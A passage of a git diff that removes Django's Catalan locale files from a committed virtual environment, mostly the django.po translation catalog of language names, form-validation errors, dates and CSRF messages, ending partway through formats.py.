"Bielorús" - -msgid "Bengali" -msgstr "bengalí" - -msgid "Breton" -msgstr "Bretó" - -msgid "Bosnian" -msgstr "bosnià" - -msgid "Catalan" -msgstr "català" - -msgid "Czech" -msgstr "txec" - -msgid "Welsh" -msgstr "gal·lès" - -msgid "Danish" -msgstr "danès" - -msgid "German" -msgstr "alemany" - -msgid "Lower Sorbian" -msgstr "baix serbi" - -msgid "Greek" -msgstr "grec" - -msgid "English" -msgstr "anglès" - -msgid "Australian English" -msgstr "Anglès d'Austràlia" - -msgid "British English" -msgstr "anglès britànic" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "castellà" - -msgid "Argentinian Spanish" -msgstr "castellà d'Argentina" - -msgid "Colombian Spanish" -msgstr "castellà de Colombia" - -msgid "Mexican Spanish" -msgstr "castellà de Mèxic" - -msgid "Nicaraguan Spanish" -msgstr "castellà de Nicaragua" - -msgid "Venezuelan Spanish" -msgstr "castellà de Veneçuela" - -msgid "Estonian" -msgstr "estonià" - -msgid "Basque" -msgstr "èuscar" - -msgid "Persian" -msgstr "persa" - -msgid "Finnish" -msgstr "finlandès" - -msgid "French" -msgstr "francès" - -msgid "Frisian" -msgstr "frisi" - -msgid "Irish" -msgstr "irlandès" - -msgid "Scottish Gaelic" -msgstr "Gaèlic escocès" - -msgid "Galician" -msgstr "gallec" - -msgid "Hebrew" -msgstr "hebreu" - -msgid "Hindi" -msgstr "hindi" - -msgid "Croatian" -msgstr "croat" - -msgid "Upper Sorbian" -msgstr "alt serbi" - -msgid "Hungarian" -msgstr "hongarès" - -msgid "Armenian" -msgstr "Armeni" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "indonesi" - -msgid "Igbo" -msgstr "lgbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "islandès" - -msgid "Italian" -msgstr "italià" - -msgid "Japanese" -msgstr "japonès" - -msgid "Georgian" -msgstr "georgià" - -msgid "Kabyle" -msgstr "Cabilenc" - -msgid "Kazakh" -msgstr "Kazakh" - -msgid "Khmer" -msgstr "khmer" - -msgid "Kannada" -msgstr "kannarès" - -msgid "Korean" -msgstr "coreà" - -msgid "Kyrgyz" -msgstr "Kyrgyz" - -msgid "Luxembourgish" -msgstr "Luxemburguès" - -msgid "Lithuanian" -msgstr "lituà" - -msgid "Latvian" -msgstr "letó" - -msgid "Macedonian" -msgstr "macedoni" - -msgid "Malayalam" -msgstr "malaiàlam " - -msgid "Mongolian" -msgstr "mongol" - -msgid "Marathi" -msgstr "Maratí" - -msgid "Malay" -msgstr "Malai" - -msgid "Burmese" -msgstr "Burmès" - -msgid "Norwegian Bokmål" -msgstr "Bokmål noruec" - -msgid "Nepali" -msgstr "nepalès" - -msgid "Dutch" -msgstr "holandès" - -msgid "Norwegian Nynorsk" -msgstr "noruec nynorsk" - -msgid "Ossetic" -msgstr "ossètic" - -msgid "Punjabi" -msgstr "panjabi" - -msgid "Polish" -msgstr "polonès" - -msgid "Portuguese" -msgstr "portuguès" - -msgid "Brazilian Portuguese" -msgstr "portuguès de brasil" - -msgid "Romanian" -msgstr "romanès" - -msgid "Russian" -msgstr "rus" - -msgid "Slovak" -msgstr "eslovac" - -msgid "Slovenian" -msgstr "eslovè" - -msgid "Albanian" -msgstr "albanès" - -msgid "Serbian" -msgstr "serbi" - -msgid "Serbian Latin" -msgstr "serbi llatí" - -msgid "Swedish" -msgstr "suec" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "tàmil" - -msgid "Telugu" -msgstr "telugu" - -msgid "Tajik" -msgstr "Tajik" - -msgid "Thai" -msgstr "tailandès" - -msgid "Turkmen" -msgstr "Turkmen" - -msgid "Turkish" -msgstr "turc" - -msgid "Tatar" -msgstr "Tatar" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Ukrainian" -msgstr "ucraïnès" - -msgid "Urdu" -msgstr "urdu" - -msgid "Uzbek" -msgstr "Uzbek" - -msgid "Vietnamese" -msgstr "vietnamita" - -msgid "Simplified Chinese" -msgstr "xinès simplificat" - -msgid "Traditional Chinese" -msgstr "xinès tradicional" - -msgid "Messages" -msgstr "Missatges" - -msgid "Site Maps" -msgstr "Mapes del lloc" - -msgid "Static Files" -msgstr "Arxius estàtics" - -msgid "Syndication" -msgstr "Sindicació" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "Aquest número de plana no és un enter" - -msgid "That page number is less than 1" -msgstr "El nombre de plana és inferior a 1" - -msgid "That page contains no results" -msgstr "La plana no conté cap resultat" - -msgid "Enter a valid value." -msgstr "Introduïu un valor vàlid." - -msgid "Enter a valid URL." -msgstr "Introduïu una URL vàlida." - -msgid "Enter a valid integer." -msgstr "Introduïu un enter vàlid." - -msgid "Enter a valid email address." -msgstr "Introdueix una adreça de correu electrònic vàlida" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Introduïu un 'slug' vàlid, consistent en lletres, números, guions o guions " -"baixos." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Introduïu un 'slug' vàlid format per lletres Unicode, números, guions o " -"guions baixos." - -msgid "Enter a valid IPv4 address." -msgstr "Introduïu una adreça IPv4 vàlida." - -msgid "Enter a valid IPv6 address." -msgstr "Entreu una adreça IPv6 vàlida." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Entreu una adreça IPv4 o IPv6 vàlida." - -msgid "Enter only digits separated by commas." -msgstr "Introduïu només dígits separats per comes." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Assegureu-vos que aquest valor sigui %(limit_value)s (és %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Assegureu-vos que aquest valor sigui menor o igual que %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Assegureu-vos que aquest valor sigui més gran o igual que %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -" \n" -"Asseguri's que aquest valor sigui un múltiple de %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Assegureu-vos que aquest valor té almenys %(limit_value)d caràcter (en té " -"%(show_value)d)." -msgstr[1] "" -"Assegureu-vos que el valor tingui almenys %(limit_value)d caràcters (en té " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Assegureu-vos que aquest valor té com a molt %(limit_value)d caràcter (en té " -"%(show_value)d)." -msgstr[1] "" -"Assegureu-vos que aquest valor tingui com a molt %(limit_value)d caràcters " -"(en té %(show_value)d)." - -msgid "Enter a number." -msgstr "Introduïu un número." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Assegureu-vos que no hi ha més de %(max)s dígit en total." -msgstr[1] "Assegureu-vos que no hi hagi més de %(max)s dígits en total." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Assegureu-vos que no hi ha més de %(max)s decimal." -msgstr[1] "Assegureu-vos que no hi hagi més de %(max)s decimals." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Assegureu-vos que no hi ha més de %(max)s dígit abans de la coma decimal." -msgstr[1] "" -"Assegureu-vos que no hi hagi més de %(max)s dígits abans de la coma decimal." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"L'extensió d'arxiu “%(extension)s” no està permesa. Les extensions permeses " -"són: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "No es permeten caràcters nuls." - -msgid "and" -msgstr "i" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "Ja existeix %(model_name)s amb aquest %(field_labels)s." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "La restricció %(name)s no es compleix." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "El valor %(value)r no és una opció vàlida." - -msgid "This field cannot be null." -msgstr "Aquest camp no pot ser nul." - -msgid "This field cannot be blank." -msgstr "Aquest camp no pot estar en blanc." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Ja existeix %(model_name)s amb aquest %(field_label)s." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s ha de ser únic per a %(date_field_label)s i %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Camp del tipus: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "El valor '%(value)s' ha de ser \"True\" o \"False\"." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "El valor '%(value)s' ha de ser cert, fals o buid." - -msgid "Boolean (Either True or False)" -msgstr "Booleà (Cert o Fals)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Cadena (de fins a %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Enters separats per comes" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"El valor '%(value)s' no té un format de data vàlid. Ha de tenir el format " -"YYYY-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"El valor '%(value)s' té el format correcte (YYYY-MM-DD) però no és una data " -"vàlida." - -msgid "Date (without time)" -msgstr "Data (sense hora)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"El valor '%(value)s' no té un format vàlid. Ha de tenir el format YYYY-MM-DD " -"HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"El valor '%(value)s' té el format correcte (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) però no és una data/hora vàlida." - -msgid "Date (with time)" -msgstr "Data (amb hora)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "El valor '%(value)s' ha de ser un nombre decimal." - -msgid "Decimal number" -msgstr "Número decimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"'El valor %(value)s' té un format invàlid. Ha d'estar en el format [DD] [HH:" -"[MM:]]ss[.uuuuuu] ." - -msgid "Duration" -msgstr "Durada" - -msgid "Email address" -msgstr "Adreça de correu electrònic" - -msgid "File path" -msgstr "Ruta del fitxer" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "El valor '%(value)s' ha de ser un número decimal." - -msgid "Floating point number" -msgstr "Número de coma flotant" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "El valor '%(value)s' ha de ser un nombre enter." - -msgid "Integer" -msgstr "Enter" - -msgid "Big (8 byte) integer" -msgstr "Enter gran (8 bytes)" - -msgid "Small integer" -msgstr "Enter petit" - -msgid "IPv4 address" -msgstr "Adreça IPv4" - -msgid "IP address" -msgstr "Adreça IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "El valor '%(value)s' ha de ser None, True o False." - -msgid "Boolean (Either True, False or None)" -msgstr "Booleà (Cert, Fals o Cap ('None'))" - -msgid "Positive big integer" -msgstr "Enter gran positiu" - -msgid "Positive integer" -msgstr "Enter positiu" - -msgid "Positive small integer" -msgstr "Enter petit positiu" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (fins a %(max_length)s)" - -msgid "Text" -msgstr "Text" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"El valor '%(value)s' no té un format vàlid. Ha de tenir el format HH:MM[:ss[." -"uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"El valor '%(value)s' té el format correcte (HH:MM[:ss[.uuuuuu]]) però no és " -"una hora vàlida." - -msgid "Time" -msgstr "Hora" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Dades binàries" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "'%(value)s' no és un UUID vàlid." - -msgid "Universally unique identifier" -msgstr "Identificador únic universal" - -msgid "File" -msgstr "Arxiu" - -msgid "Image" -msgstr "Imatge" - -msgid "A JSON object" -msgstr "Un objecte JSON" - -msgid "Value must be valid JSON." -msgstr "El valor ha de ser JSON vàlid." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "La instància de %(model)s amb %(field)s %(value)r no existeix." - -msgid "Foreign Key (type determined by related field)" -msgstr "Clau forana (tipus determinat pel camp relacionat)" - -msgid "One-to-one relationship" -msgstr "Relació un-a-un" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "relació %(from)s-%(to)s " - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "relacions %(from)s-%(to)s " - -msgid "Many-to-many relationship" -msgstr "Relació molts-a-molts" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Aquest camp és obligatori." - -msgid "Enter a whole number." -msgstr "Introduïu un número enter." - -msgid "Enter a valid date." -msgstr "Introduïu una data vàlida." - -msgid "Enter a valid time." -msgstr "Introduïu una hora vàlida." - -msgid "Enter a valid date/time." -msgstr "Introduïu una data/hora vàlides." - -msgid "Enter a valid duration." -msgstr "Introduïu una durada vàlida." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "El número de dies ha de ser entre {min_days} i {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"No s'ha enviat cap fitxer. Comproveu el tipus de codificació del formulari." - -msgid "No file was submitted." -msgstr "No s'ha enviat cap fitxer." - -msgid "The submitted file is empty." -msgstr "El fitxer enviat està buit." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Aquest nom d'arxiu hauria de tenir com a molt %(max)d caràcter (en té " -"%(length)d)." -msgstr[1] "" -"Aquest nom d'arxiu hauria de tenir com a molt %(max)d caràcters (en té " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Si us plau, envieu un fitxer o marqueu la casella de selecció \"netejar\", " -"no ambdós." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Carregueu una imatge vàlida. El fitxer que heu carregat no era una imatge o " -"estava corrupte." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Esculliu una opció vàlida. %(value)s no és una de les opcions vàlides." - -msgid "Enter a list of values." -msgstr "Introduïu una llista de valors." - -msgid "Enter a complete value." -msgstr "Introduïu un valor complet." - -msgid "Enter a valid UUID." -msgstr "Intruduïu un UUID vàlid." - -msgid "Enter a valid JSON." -msgstr "Introduïu un JSON vàlid." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Camp ocult %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Les dades de ManagementForm no hi són o han estat modificades. Camps que " -"falten: %(field_names)s. . Necessitaràs omplir una incidència si el problema " -"persisteix." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Enviau com a màxim %(num)d formulari, si us plau." -msgstr[1] "Enviau com a màxim %(num)d formularis, si us plau." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Enviau com a mínim %(num)d formulari, si us plau." -msgstr[1] "Enviau com a mínim %(num)d formularis, si us plau." - -msgid "Order" -msgstr "Ordre" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Si us plau, corregiu la dada duplicada per a %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Si us plau, corregiu la dada duplicada per a %(field)s, la qual ha de ser " -"única." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Si us plau, corregiu la dada duplicada per a %(field_name)s, la qual ha de " -"ser única per a %(lookup)s en %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Si us plau, corregiu els valors duplicats a sota." - -msgid "The inline value did not match the parent instance." -msgstr "El valor en línia no coincideix amb la instància mare ." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Esculliu una opció vàlida. La opció triada no és una de les opcions " -"disponibles." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" no és un valor vàlid" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"No s'ha pogut interpretar %(datetime)s a la zona horària " -"%(current_timezone)s; potser és ambigua o no existeix." - -msgid "Clear" -msgstr "Netejar" - -msgid "Currently" -msgstr "Actualment" - -msgid "Change" -msgstr "Modificar" - -msgid "Unknown" -msgstr "Desconegut" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "No" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "sí,no,potser" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "mitjanit" - -msgid "noon" -msgstr "migdia" - -msgid "Monday" -msgstr "Dilluns" - -msgid "Tuesday" -msgstr "Dimarts" - -msgid "Wednesday" -msgstr "Dimecres" - -msgid "Thursday" -msgstr "Dijous" - -msgid "Friday" -msgstr "Divendres" - -msgid "Saturday" -msgstr "Dissabte" - -msgid "Sunday" -msgstr "Diumenge" - -msgid "Mon" -msgstr "dl." - -msgid "Tue" -msgstr "dt." - -msgid "Wed" -msgstr "dc." - -msgid "Thu" -msgstr "dj." - -msgid "Fri" -msgstr "dv." - -msgid "Sat" -msgstr "ds." - -msgid "Sun" -msgstr "dg." - -msgid "January" -msgstr "gener" - -msgid "February" -msgstr "febrer" - -msgid "March" -msgstr "març" - -msgid "April" -msgstr "abril" - -msgid "May" -msgstr "maig" - -msgid "June" -msgstr "juny" - -msgid "July" -msgstr "juliol" - -msgid "August" -msgstr "agost" - -msgid "September" -msgstr "setembre" - -msgid "October" -msgstr "octubre" - -msgid "November" -msgstr "novembre" - -msgid "December" -msgstr "desembre" - -msgid "jan" -msgstr "gen." - -msgid "feb" -msgstr "feb." - -msgid "mar" -msgstr "març" - -msgid "apr" -msgstr "abr." - -msgid "may" -msgstr "maig" - -msgid "jun" -msgstr "juny" - -msgid "jul" -msgstr "jul." - -msgid "aug" -msgstr "ago." - -msgid "sep" -msgstr "set." - -msgid "oct" -msgstr "oct." - -msgid "nov" -msgstr "nov." - -msgid "dec" -msgstr "des." - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Gen." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Març" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Abr." - -msgctxt "abbrev. month" -msgid "May" -msgstr "Maig" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Juny" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Jul." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ago." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Set." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Oct." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Des." - -msgctxt "alt. month" -msgid "January" -msgstr "gener" - -msgctxt "alt. month" -msgid "February" -msgstr "febrer" - -msgctxt "alt. month" -msgid "March" -msgstr "març" - -msgctxt "alt. month" -msgid "April" -msgstr "abril" - -msgctxt "alt. month" -msgid "May" -msgstr "maig" - -msgctxt "alt. month" -msgid "June" -msgstr "juny" - -msgctxt "alt. month" -msgid "July" -msgstr "juliol" - -msgctxt "alt. month" -msgid "August" -msgstr "agost" - -msgctxt "alt. month" -msgid "September" -msgstr "setembre" - -msgctxt "alt. month" -msgid "October" -msgstr "octubre" - -msgctxt "alt. month" -msgid "November" -msgstr "novembre" - -msgctxt "alt. month" -msgid "December" -msgstr "desembre" - -msgid "This is not a valid IPv6 address." -msgstr "Aquesta no és una adreça IPv6 vàlida." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "o" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d any" -msgstr[1] "%(num)d anys" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mes" -msgstr[1] "%(num)d mesos" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d setmana" -msgstr[1] "%(num)d setmanes" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dia" -msgstr[1] "%(num)d dies" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d hora" -msgstr[1] "%(num)d hores" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minut" -msgstr[1] "%(num)d minuts" - -msgid "Forbidden" -msgstr "Prohibit" - -msgid "CSRF verification failed. Request aborted." -msgstr "La verificació de CSRF ha fallat. Petició abortada." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Esteu veient aquest missatge perquè aquest lloc HTTPS requereix que el " -"vostre navegador enviï una capçalera “Referer\", i no n'ha arribada cap. " -"Aquesta capçalera es requereix per motius de seguretat, per garantir que el " -"vostre navegador no està sent segrestat per tercers." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Si heu configurat el vostre navegador per deshabilitar capçaleres “Referer" -"\", sisplau torneu-les a habilitar, com a mínim per a aquest lloc, o per a " -"connexions HTTPs, o per a peticions amb el mateix orígen." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Si utilitzeu l'etiqueta o " -"incloeu la capçalera “Referer-Policy: no-referrer\" , si us plau elimineu-" -"la. La protecció CSRF requereix la capçalera “Referer\" per a fer una " -"comprovació estricta. Si esteu preocupats quant a la privacitat, utilitzeu " -"alternatives com per enllaços a aplicacions de " -"tercers." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Estàs veient aquest missatge perquè aquest lloc requereix una galeta CSRF " -"quan s'envien formularis. Aquesta galeta es requereix per motius de " -"seguretat, per garantir que el teu navegador no està sent infiltrat per " -"tercers." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Si has configurat el teu navegador per deshabilitar galetes, sisplau torna-" -"les a habilitar, com a mínim per a aquest lloc, o per a peticions amb el " -"mateix orígen." - -msgid "More information is available with DEBUG=True." -msgstr "Més informació disponible amb DEBUG=True." - -msgid "No year specified" -msgstr "No s'ha especificat any" - -msgid "Date out of range" -msgstr "Data fora de rang" - -msgid "No month specified" -msgstr "No s'ha especificat mes" - -msgid "No day specified" -msgstr "No s'ha especificat dia" - -msgid "No week specified" -msgstr "No s'ha especificat setmana" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Cap %(verbose_name_plural)s disponible" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Futurs %(verbose_name_plural)s no disponibles perquè %(class_name)s." -"allow_future és Fals." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Cadena invàlida de data '%(datestr)s' donat el format '%(format)s'" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "No s'ha trobat cap %(verbose_name)s que coincideixi amb la petició" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "La pàgina no és 'last', ni es pot convertir en un enter" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Pàgina invàlida (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Llista buida i '%(class_name)s.allow_empty' és Fals." - -msgid "Directory indexes are not allowed here." -msgstr "Aquí no es permeten índex de directori." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" no existeix" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Índex de %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "La instal·lació ha estat un èxit! Enhorabona!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Visualitza notes de llançament per Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" -"Esteu veient aquesta pàgina perquè el paràmetre DEBUG=Trueconsta al fitxer de configuració i no teniu cap " -"URL configurada." - -msgid "Django Documentation" -msgstr "Documentació de Django" - -msgid "Topics, references, & how-to’s" -msgstr "Temes, referències, & Com es fa" - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: Una aplicació enquesta" - -msgid "Get started with Django" -msgstr "Primers passos amb Django" - -msgid "Django Community" -msgstr "Comunitat Django" - -msgid "Connect, get help, or contribute" -msgstr "Connecta, obté ajuda, o col·labora" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ca/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ca/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ca/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ca/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index c36a5c8b..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ca/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ca/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ca/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index e9d6ac99..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ca/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ca/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ca/formats.py deleted file mode 100644 index e6162990..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ca/formats.py +++ /dev/null @@ -1,30 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = r"j E \d\e Y" -TIME_FORMAT = "G:i" -DATETIME_FORMAT = r"j E \d\e Y \a \l\e\s G:i" -YEAR_MONTH_FORMAT = r"F \d\e\l Y" -MONTH_DAY_FORMAT = r"j E" -SHORT_DATE_FORMAT = "d/m/Y" -SHORT_DATETIME_FORMAT = "d/m/Y G:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '31/12/2009' - "%d/%m/%y", # 